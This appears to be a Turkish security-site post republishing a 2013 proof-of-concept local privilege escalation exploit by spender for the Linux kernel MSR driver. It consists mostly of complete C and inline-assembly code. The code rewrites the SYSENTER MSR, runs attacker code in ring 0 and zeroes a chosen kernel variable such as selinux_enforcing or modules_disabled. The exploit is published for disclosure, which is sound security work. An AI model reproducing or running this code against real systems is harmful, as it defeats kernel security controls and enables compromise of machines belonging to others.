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Linux Kernel ‘MSR’ Driver Local Privilege Escalation Local Expploit
Spender tarafından /dev/pu/*/msn 32 ve 64 bit hostlarda bulunan Linux Kernel açığına ilişkin derlenmemiş exploit aşağıda olup, bu exploit sayesinde bir takım yetkiler alınabilmekte.

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first 
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a 
// public exploit is released.  Not even a bugtraq entry existed in 
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy 
// exploit multiple times prior:
//
// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0\n"
        "_ring0:\n"
        ".intel_syntax noprefix\n"
        ".code64\n"
        // set up stack pointer with 'ourstack'
        "mov esp, ecx\n"
        // save registers, contains the original MSR value
        "push rax\n"
        "push rbx\n"
        "push rcx\n"
        "push rdx\n"
        // play with the kernel here with interrupts disabled!
        "mov rcx, qword ptr [rbx+8]\n"
        "test rcx, rcx\n"
        "jz skip_write\n"
        "mov dword ptr [rcx], 0\n"
        "skip_write:\n"
        // restore MSR value before returning
        "mov ecx, 0x176\n" // SYSENTER_EIP_MSR
        "mov eax, dword ptr [rbx]\n"
        "mov edx, dword ptr [rbx+4]\n"
        "wrmsr\n"
        "pop rdx\n"
        "pop rcx\n"
        "pop rbx\n"
        "pop rax\n"
        "sti\n"
        "sysexit\n"
        ".code32\n"
        ".att_syntax prefix\n"
        ".global _ring0_end\n"
        "_ring0_end:\n"
        );
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
        cpu_set_t set;
        int msr_fd;
        int ret;
        u_int64_t new_msr;
        struct sched_param sched;
        u_int64_t resolved_addr = 0ULL;

        if (argc == 2)
                resolved_addr = strtoull(argv[1], NULL, 16);

        /* can do this without privilege */
        mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
        mlock(&payload_data, sizeof(payload_data));

        CPU_ZERO(&set);
        CPU_SET(0, &set);

        sched.sched_priority = 99;

        ret = sched_setscheduler(0, SCHED_FIFO, &sched);
        if (ret) {
                fprintf(stderr, "Unable to set priority.\n");
                exit(1);
        }

        ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
        if (ret) {
                fprintf(stderr, "Unable to set affinity.\n");
                exit(1);
        }

        msr_fd = open("/dev/cpu/0/msr", O_RDWR);
        if (msr_fd < 0) {
                msr_fd = open("/dev/msr0", O_RDWR);
                if (msr_fd < 0) {
                        fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
                        exit(1);
                }
        }
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        ret = read(msr_fd, &msr, sizeof(msr));
        if (ret != sizeof(msr)) {
                fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
                exit(1);
        }

        // stuff some addresses in a buffer whose address we
        // pass to the "kernel" via register
        payload_data[0] = msr;
        payload_data[1] = resolved_addr;

        printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
        fflush(stdout);

        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        new_msr = (u_int64_t)(unsigned long)&_ring0;

        printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
        fflush(stdout);

        ret = write(msr_fd, &new_msr, sizeof(new_msr));
        if (ret != sizeof(new_msr)) {
                fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
                exit(1);
        }

        __asm volatile(
                ".intel_syntax noprefix\n"
                ".code32\n"
                "mov saved_stack, esp\n"
                "lea ecx, ourstack\n"
                "lea edx, label2\n"
                "lea ebx, payload_data\n"
                "sysenter\n"
                "label2:\n"
                "mov esp, saved_stack\n"
                ".att_syntax prefix\n"
        );

        printf("Success.\n");
        
        return 0;
}

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